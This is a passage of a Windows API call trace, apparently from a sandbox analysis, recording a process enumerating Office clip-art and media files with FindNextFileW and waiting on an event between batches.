lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1 [0256.155] ResetEvent (hEvent=0x118) returned 1 [0256.155] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0256.168] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1 [0256.168] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1 [0256.168] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1 [0256.169] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1 [0256.169] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1 [0256.169] ResetEvent (hEvent=0x118) returned 1 [0256.170] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.573] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0257.573] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0257.573] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0257.574] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0257.574] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1 [0257.574] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1 [0257.575] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1 [0257.575] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1 [0257.575] ResetEvent (hEvent=0x118) returned 1 [0257.575] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.596] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1 [0257.597] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0257.597] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0257.597] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0257.598] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0257.598] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0257.598] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0257.598] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0257.599] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0257.599] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0257.599] ResetEvent (hEvent=0x118) returned 1 [0257.600] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.601] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0257.601] ResetEvent (hEvent=0x118) returned 1 [0257.602] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.739] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0257.739] ResetEvent (hEvent=0x118) returned 1 [0257.739] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.748] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0257.749] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0257.749] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1 [0257.749] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1 [0257.750] ResetEvent (hEvent=0x118) returned 1 [0257.750] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.761] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1 [0257.761] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1 [0257.761] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1 [0257.762] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1 [0257.762] ResetEvent (hEvent=0x118) returned 1 [0257.762] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.775] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0257.775] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0257.776] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0257.776] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0257.776] ResetEvent (hEvent=0x118) returned 1 [0257.776] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.786] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1 [0257.786] ResetEvent (hEvent=0x118) returned 1 [0257.786] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.795] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1 [0257.795] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1 [0257.796] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1 [0257.796] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0257.796] ResetEvent (hEvent=0x118) returned 1 [0257.796] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0257.807] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0257.808] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 